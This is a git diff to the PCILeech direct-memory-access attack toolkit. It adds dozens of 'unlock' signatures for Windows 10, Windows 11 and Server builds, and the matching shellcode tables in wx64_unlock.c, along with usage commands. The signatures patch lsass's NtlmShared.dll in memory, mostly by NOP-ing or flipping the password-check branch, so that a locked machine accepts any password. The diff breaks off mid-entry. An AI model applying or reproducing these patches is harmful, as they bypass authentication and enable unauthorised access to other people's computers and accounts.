diff --git a/files/unlock_win10x64.sig b/files/unlock_win10x64.sig index e4ae1e3..cd01adc 100644 --- a/files/unlock_win10x64.sig +++ b/files/unlock_win10x64.sig @@ -1,53 +1,88 @@ -# unlock signature for Windows 10 x64 version -# syntax: see signature_info.txt for more information. +# Unlock Signatures for Local and AD Accounts for Windows 10 x64 version +# +# Method 1: (faster): +# 1.1 check pid of lsass.exe: pcileech pslist +# 1.2 patch: pcileech patch -sig wx64_unlock_win10.sig -all -pid +# +# Method 2: +# 2.1 patch: pcileech patch -sig wx64_unlock_win10.sig -all +# +# Syntax: see signature_info.txt for more information. +# Generated on 2023-11-26 16:58:59 # # -# signature for Windows 10 x64 [NtlmShared.dll (2015-07-10)/10.0.10240.16384] -5DF,FF154B1C,5E8,0F8518FB,5E8,909090909090 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.16384 / 2015-07-10] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.18366 / 2019-09-30] +5DC,488BCBFF154B1C0000,5E8,0F8518FBFFFF,5E8,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2015-10-30)/10.0.10586.0] -62F,FF15B31B,638,0F8518FB,638,909090909090 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19387 / 2022-08-04] +65C,488BCBFF15CB1B0000,668,0F8518FBFFFF,668,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2016-07-16)/10.0.14393.0] -6dF,FF15D31B,6e8,0F8518FB,6e8,909090909090 -# signature for Windows 10 x64 [NtlmShared.dll (2019-02-06)/10.0.14393.2791] -6F5,493BC60F8518FBFFFFB801,6F5,493BC60F8518FBFFFFB801,6F9,84 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19869 / 2023-03-30] +66C,488BCBFF15BB1B0000,678,0F8518FBFFFF,678,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2017-03-18)/10.0.15063.0] -615,FF15C51C,61e,0F852EFB,61e,909090909090 -# signature for Windows 10 x64 [NtlmShared.dll (2019-09-30)/10.0.15063.2106] -625,FF15B51C,62e,0F852EFB,62e,909090909090 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10586.0 / 2015-10-30] +62C,488BCBFF15B31B0000,638,0F8518FBFFFF,638,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2017-09-29)/10.0.16299.15] -615,FF15D51C,61e,0F852EFB,61e,909090909090 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.0 / 2016-07-16] +6DC,488BCBFF15D31B0000,6E8,0F8518FBFFFF,6E8,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2018-04-11)/10.0.17134.1] -695,FF15551C,69e,0F852EFB,69e,909090909090 -# signature for Windows 10 x64 [NtlmShared.dll (2019-10-02)/10.0.17134.1067] -6AB,493BC60F852EFBFFFFB001,6AB,493BC60F852EFBFFFFB001,6AF,84 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.2791 / 2019-02-06] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.3269 / 2019-09-29] +6EC,488BCBFF15C31B0000,6F8,0F8518FBFFFF,6F8,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2018-09-15)/10.0.17763.1] -740,FF15B21B,749,0F840BFBFFFF,749,0F85 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5291 / 2022-08-07] +76C,488BCBFF15431B0000,778,0F8518FBFFFF,778,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2019-03-19)/10.0.18362.1] -# signature for Windows 10 x64 [NtlmShared.dll (2019-10-06)/10.0.18362.418] -741,32C0E904FBFFFF,741,32C0E904FBFFFF,741,B001E904FBFFFF +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5850 / 2023-03-30] +77C,488BCBFF15331B0000,788,0F8518FBFFFF,788,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2019-12-07)/10.0.19041.1] -426,48FF155320,435,0F84BAFAFFFF,435,0F85 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.1631 / 2019-02-06] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.2106 / 2019-09-30] +622,488BCBFF15B51C0000,62E,0F852EFBFFFF,62E,909090909090 # -# signature for Windows 10 x64 [NtlmShared.dll (2022-08-04)/10.0.19041.1889] -4B6,48FF15C31F,4C5,0F84BAFAFFFF,4C5,0F85 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.15254.245 / 2018-01-30] +612,488BCBFF15C51C0000,61E,0F852EFBFFFF,61E,909090909090 # -# signature for Windows Server2022 x64 [NtlmShared.dll (2022-08-04)/10.0.20348.887] -A6E,48FF15B328,A7D,0F84B2FAFFFF,A7D,0F85 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1268 / 2019-07-05] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1448 / 2019-10-02] +622,488BCBFF15C51C0000,62E,0F852EFBFFFF,62E,909090909090 # -# signature for Windows 11 x64 [NtlmShared.dll (2021-06-05)/10.0.22000.1] -F8B,488BCB48FF,F9D,0F84B2FAFFFF,F9D,0F85 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.192 / 2018-01-01] +612,488BCBFF15D51C0000,61E,0F852EFBFFFF,61E,909090909090 # -# signature for Windows 11 x64 [NtlmShared.dll (2022-08-04)/10.0.22000.856] -00B,488BCB48FF,01D,0F84B2FAFFFF,01D,0F85 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.1067 / 2019-10-02] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.590 / 2019-02-06] +6A2,488BCBFF15451C0000,6AE,0F852EFBFFFF,6AE,909090909090 # -# signature for Windows 11 x64 [NtlmShared.dll (2022-08-05)/10.0.22621.382] -# signature for Windows 11 x64 [NtlmShared.dll (2022-09-27)/10.0.22621.608] -FBD,48FF153C23,FCC,0F85C4FAFFFF,FCC,0F85 +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.523 / 2019-01-01] +692,488BCBFF15551C0000,69E,0F852EFBFFFF,69E,909090909090 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.10935 / 2022-08-05] +7CD,488BCBFF15221B0000,7D9,0F840BFBFFFF,7D9,0F85 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.194 / 2018-12-04] +73D,488BCBFF15B21B0000,749,0F840BFBFFFF,749,0F85 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.316 / 2019-02-06] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.802 / 2019-10-02] +74D,488BCBFF15A21B0000,759,0F840BFBFFFF,759,0F85 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.5122 / 2023-11-08] +7DD,488BCBFF15121B0000,7E9,0F840BFBFFFF,7E9,0F85 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.1 / 2019-03-18] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.10022 / 2019-09-15] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.418 / 2019-10-06] +72F,488BCBFF15C01B0000,73B,0F8409FBFFFF,73B,0F85 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.1 / 2019-12-07] +423,488BCB48FF1553200000,435,0F84BAFAFFFF,435,0F85 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2728 / 2023-03-09] +4B3,488BCB48FF15C31F0000,4C5,0F84BAFAFFFF,4C5,0F85 +# +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2965 / 2023-04-27] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3636 / 2023-10-20] +# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3684 / 2023-10-17] +4C3,488BCB48FF15B31F0000,4D5,0F84BAFAFFFF,4D5,0F85 diff --git a/files/unlock_win11x64.sig b/files/unlock_win11x64.sig new file mode 100644 index 0000000..7285ebd --- /dev/null +++ b/files/unlock_win11x64.sig @@ -0,0 +1,32 @@ +# Unlock Signatures for Local and AD Accounts for Windows 11 x64 version +# +# Method 1: (faster): +# 1.1 check pid of lsass.exe: pcileech pslist +# 1.2 patch: pcileech patch -sig wx64_unlock_win11.sig -all -pid +# +# Method 2: +# 2.1 patch: pcileech patch -sig wx64_unlock_win11.sig -all +# +# Syntax: see signature_info.txt for more information. +# Generated on 2023-11-26 16:58:59 +# +# +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.1668 / 2023-03-30] +A7B,488BCB48FF15A3280000,A8D,0F84B2FAFFFF,A8D,0F85 +# +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.887 / 2022-08-04] +A6B,488BCB48FF15B3280000,A7D,0F84B2FAFFFF,A7D,0F85 +# +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.1696 / 2023-03-09] +00B,488BCB48FF15E3220000,01D,0F84B2FAFFFF,01D,0F85 +# +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.2600 / 2023-11-08] +01B,488BCB48FF15D3220000,02D,0F84B2FAFFFF,02D,0F85 +# +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.778 / 2022-06-18] +F8B,488BCB48FF1563230000,F9D,0F84B2FAFFFF,F9D,0F85 +# +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2067 / 2023-07-11] +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2506 / 2023-10-19] +# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2567 / 2023-10-14] +FC9,488D4B1048FF152C230000,FDC,0F85C4FAFFFF,FDC,909090909090 diff --git a/files/wx64_unlock.ksh b/files/wx64_unlock.ksh index 0dca619..c73ecb7 100644 Binary files a/files/wx64_unlock.ksh and b/files/wx64_unlock.ksh differ diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h index b4e3a1e..3d1bd85 100644 --- a/pcileech/pcileech.h +++ b/pcileech/pcileech.h @@ -19,7 +19,7 @@ typedef long long unsigned int QWORD, *PQWORD, ULONG64, *PULONG64; #endif /* LINUX */ #define SIZE_PAGE_ALIGN_4K(x) ((x + 0xfff) & ~0xfff) -#define CONFIG_MAX_SIGNATURES 16 +#define CONFIG_MAX_SIGNATURES 256 #define PCILEECH_DEVICE_EQUALS(name) (0 == _stricmp(ctxMain->dev.szDeviceName, name)) #pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */ diff --git a/pcileech/version.h b/pcileech/version.h index 5b854ba..97e520d 100644 --- a/pcileech/version.h +++ b/pcileech/version.h @@ -3,8 +3,8 @@ #define VERSION_MAJOR 4 #define VERSION_MINOR 17 -#define VERSION_REVISION 4 -#define VERSION_BUILD 45 +#define VERSION_REVISION 5 +#define VERSION_BUILD 46 #define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit" #define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD diff --git a/pcileech_shellcode/wx64_unlock.c b/pcileech_shellcode/wx64_unlock.c index 509387f..e8c0374 100644 --- a/pcileech_shellcode/wx64_unlock.c +++ b/pcileech_shellcode/wx64_unlock.c @@ -94,7 +94,7 @@ VOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 typedef struct tdSignatureChunk { WORD cbOffset; BYTE cb; - BYTE pb[6]; + BYTE pb[12]; } SIGNATURE_CHUNK, *PSIGNATURE_CHUNK; typedef struct tdSignature { @@ -129,10 +129,10 @@ NTSTATUS Unlock_FindAndPatch(_In_ PKERNEL_FUNCTIONS2 fnk2, _Inout_ PBYTE pbPages return E_FAIL; } -#define NUMBER_OF_SIGNATURES 20 +#define NUMBER_OF_SIGNATURES 31 NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { - SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = { + SIGNATURE oSigs[] = { // win8.1x64 msv1_0.dll (2014-10-29) { .chunk = { { .cbOffset = 0x5df,.cb = 4,.pb = { 0xFF, 0x15, 0x42, 0xA4 } }, @@ -151,110 +151,192 @@ NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0F, 0x85, 0xB2, 0xB9 } }, { .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 10 x64 [NtlmShared.dll (2015-07-10)/10.0.10240.16384] + // AUTO-GENERATED SIGNATURES BELOW: + + + + + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.16384 / 2015-07-10] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.18366 / 2019-09-30] { .chunk = { - { .cbOffset = 0x5df,.cb = 4,.pb = { 0xff, 0x15, 0x4b, 0x1c } }, - { .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, - { .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + { .cbOffset = 0x5DC,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x4B, 0x1C, 0x00, 0x00 } }, + { .cbOffset = 0x5E8,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x5E8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 10 x64 [NtlmShared.dll (2015-10-30)/10.0.10586.0] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19387 / 2022-08-04] { .chunk = { - { .cbOffset = 0x62f,.cb = 4,.pb = { 0xff, 0x15, 0xb3, 0x1b } }, - { .cbOffset = 0x638,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, - { .cbOffset = 0x638,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + { .cbOffset = 0x65C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xCB, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x668,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x668,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 10 x64 [NtlmShared.dll (2016-07-16)/10.0.14393.0] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19869 / 2023-03-30] { .chunk = { - { .cbOffset = 0x6df,.cb = 4,.pb = { 0xff, 0x15, 0xd3, 0x1b } }, - { .cbOffset = 0x6e8,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, - { .cbOffset = 0x6e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + { .cbOffset = 0x66C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xBB, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x678,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x678,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 10 x64 [NtlmShared.dll (2019-02-06)/10.0.14393.2791] - {.chunk = { - {.cbOffset = 0x6f5,.cb = 6,.pb = { 0x49, 0x3B, 0xC6, 0x0F, 0x85, 0x18 } }, - {.cbOffset = 0x6fb,.cb = 5,.pb = { 0x0FB, 0xFF, 0xFF, 0xB8, 0x01 } }, - {.cbOffset = 0x6f9,.cb = 1,.pb = { 0x84 } } } - }, - // Windows 10 x64 [NtlmShared.dll (2017-03-18)/10.0.15063.0] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.10586.0 / 2015-10-30] { .chunk = { - { .cbOffset = 0x615,.cb = 4,.pb = { 0xff, 0x15, 0xc5, 0x1c } }, - { .cbOffset = 0x61e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, - { .cbOffset = 0x61e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + { .cbOffset = 0x62C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB3, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x638,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x638,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 10 x64 [NtlmShared.dll (2019-09-30)/10.0.15063.2106] - {.chunk = { - {.cbOffset = 0x625,.cb = 4,.pb = { 0xff, 0x15, 0xc5, 0x1c } }, - {.cbOffset = 0x62e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, - {.cbOffset = 0x62e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } - }, - // Windows 10 x64 [NtlmShared.dll (2017-09-29)/10.0.16299.15] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.0 / 2016-07-16] { .chunk = { - { .cbOffset = 0x615,.cb = 4,.pb = { 0xff, 0x15, 0xd5, 0x1c } }, - { .cbOffset = 0x61e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, - { .cbOffset = 0x61e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + { .cbOffset = 0x6DC,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xD3, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x6E8,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x6E8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 10 x64 [NtlmShared.dll (2018-04-11)/10.0.17134.1] - { .chunk = { - { .cbOffset = 0x695,.cb = 4,.pb = { 0xff, 0x15, 0x55, 0x1c } }, - { .cbOffset = 0x69e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, - { .cbOffset = 0x69e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } - }, - // Windows 10 x64 [NtlmShared.dll (2019-10-02)/10.0.17134.1067] - {.chunk = { - {.cbOffset = 0x6ab,.cb = 6,.pb = { 0x49, 0x3B, 0xC6, 0x0F, 0x85, 0x2E } }, - {.cbOffset = 0x6b1,.cb = 5,.pb = { 0xFB, 0xFF, 0xFF, 0xB0, 0x01 } }, - {.cbOffset = 0x6af,.cb = 1,.pb = { 0x84 } } } - }, - // Windows 10 x64 [NtlmShared.dll (2018-09-15)/10.0.17763.1] - {.chunk = { - {.cbOffset = 0x740,.cb = 4,.pb = { 0xff, 0x15, 0xb2, 0x1b } }, - {.cbOffset = 0x749,.cb = 4,.pb = { 0x0f, 0x84, 0x0b, 0xfb } }, - {.cbOffset = 0x749,.cb = 2,.pb = { 0x0f, 0x85 } } } - }, - // Windows 10 x64 [NtlmShared.dll (2019-03-19)/10.0.18362.1] - // Windows 10 x64 [NtlmShared.dll (2019-10-06)/10.0.18362.418] - {.chunk = { - {.cbOffset = 0x741,.cb = 6,.pb = { 0x32, 0xC0, 0xE9, 0x04, 0xFB, 0xFF } }, - {.cbOffset = 0x741,.cb = 6,.pb = { 0x32, 0xC0, 0xE9, 0x04, 0xFB, 0xFF } }, - {.cbOffset = 0x741,.cb = 2,.pb = { 0xb0, 0x01 } } } - }, - // Windows 10 x64 [NtlmShared.dll (2019-12-07)/10.0.19041.1] - {.chunk = { - {.cbOffset = 0x426,.cb = 5,.pb = { 0x48, 0xff, 0x15, 0x53, 0x20 } }, - {.cbOffset = 0x435,.cb = 6,.pb = { 0x0f, 0x84, 0xba, 0xfa, 0xff, 0xff } }, - {.cbOffset = 0x435,.cb = 2,.pb = { 0x0f, 0x85 } } } - }, - // Windows 10 x64 [NtlmShared.dll (2022-08-04)/10.0.19041.1889] - {.chunk = { - {.cbOffset = 0x4B6,.cb = 5,.pb = { 0x48, 0xff, 0x15, 0xc3, 0x1f } }, - {.cbOffset = 0x4c5,.cb = 6,.pb = { 0x0f, 0x84, 0xba, 0xfa, 0xff, 0xff } }, - {.cbOffset = 0x4c5,.cb = 2,.pb = { 0x0f, 0x85 } } } - }, - // Windows Server2022 x64 [NtlmShared.dll (2022-08-04)/10.0.20348.887] - {.chunk = { - {.cbOffset = 0xa6e,.cb = 5,.pb = { 0x48, 0xff, 0x15, 0xb3, 0x28 } }, - {.cbOffset = 0xa7d,.cb = 6,.pb = { 0x0f, 0x84, 0xb2, 0xfa, 0xff, 0xff } }, - {.cbOffset = 0xa7d,.cb = 2,.pb = { 0x0f, 0x85 } } } - }, - // Windows 11 x64 [NtlmShared.dll (2021-06-05)/10.0.22000.1] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.2791 / 2019-02-06] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.3269 / 2019-09-29] { .chunk = { - {.cbOffset = 0xf8b,.cb = 5,.pb = { 0x48, 0x8b, 0xcb, 0x48, 0xff } }, - {.cbOffset = 0xf9d,.cb = 6,.pb = { 0x0f, 0x84, 0xb2, 0xfa, 0xff, 0xff } }, - {.cbOffset = 0xf9d,.cb = 2,.pb = { 0x0f, 0x85 } } } + { .cbOffset = 0x6EC,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC3, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x6F8,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x6F8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 11 x64 [NtlmShared.dll (2022-08-04)/10.0.22000.856] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5291 / 2022-08-07] { .chunk = { - {.cbOffset = 0x00b,.cb = 5,.pb = { 0x48, 0x8b, 0xcb, 0x48, 0xff } }, - {.cbOffset = 0x01d,.cb = 6,.pb = { 0x0f, 0x84, 0xb2, 0xfa, 0xff, 0xff } }, - {.cbOffset = 0x01d,.cb = 2,.pb = { 0x0f, 0x85 } } } + { .cbOffset = 0x76C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x43, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x778,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x778,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, - // Windows 11 x64 [NtlmShared.dll (2022-08-05)/10.0.22621.382] - // Windows 11 x64 [NtlmShared.dll (2022-09-27)/10.0.22621.608] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5850 / 2023-03-30] { .chunk = { - {.cbOffset = 0xFBD,.cb = 5,.pb = { 0x48, 0xff, 0x15, 0x3c, 0x23 } }, - {.cbOffset = 0xFCC,.cb = 6,.pb = { 0x0f, 0x85, 0xc4, 0xfa, 0xff, 0xff } }, - {.cbOffset = 0xFCC,.cb = 2,.pb = { 0x0f, 0x85 } } } + { .cbOffset = 0x77C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x33, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x788,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x788,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.1631 / 2019-02-06] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.2106 / 2019-09-30] + { .chunk = { + { .cbOffset = 0x622,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB5, 0x1C, 0x00, 0x00 } }, + { .cbOffset = 0x62E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x62E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.15254.245 / 2018-01-30] + { .chunk = { + { .cbOffset = 0x612,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC5, 0x1C, 0x00, 0x00 } }, + { .cbOffset = 0x61E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x61E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1268 / 2019-07-05] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1448 / 2019-10-02] + { .chunk = { + { .cbOffset = 0x622,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC5, 0x1C, 0x00, 0x00 } }, + { .cbOffset = 0x62E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x62E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.192 / 2018-01-01] + { .chunk = { + { .cbOffset = 0x612,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xD5, 0x1C, 0x00, 0x00 } }, + { .cbOffset = 0x61E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x61E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.1067 / 2019-10-02] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.590 / 2019-02-06] + { .chunk = { + { .cbOffset = 0x6A2,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x45, 0x1C, 0x00, 0x00 } }, + { .cbOffset = 0x6AE,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x6AE,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.523 / 2019-01-01] + { .chunk = { + { .cbOffset = 0x692,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x55, 0x1C, 0x00, 0x00 } }, + { .cbOffset = 0x69E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x69E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.10935 / 2022-08-05] + { .chunk = { + { .cbOffset = 0x7CD,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x22, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x7D9,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x7D9,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.194 / 2018-12-04] + { .chunk = { + { .cbOffset = 0x73D,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB2, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x749,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x749,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.316 / 2019-02-06] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.802 / 2019-10-02] + { .chunk = { + { .cbOffset = 0x74D,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xA2, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x759,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x759,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.5122 / 2023-11-08] + { .chunk = { + { .cbOffset = 0x7DD,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x12, 0x1B, 0x00, 0x00 } }, + { .cbOffset = 0x7E9,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x7E9,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.1 / 2019-03-18] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.10022 / 2019-09-15] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.418 / 2019-10-06] + { .chunk = { + { .cbOffset = 0x72F,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC0, 0x1B, 0x00, 0x00 } }, + { .cbOffset 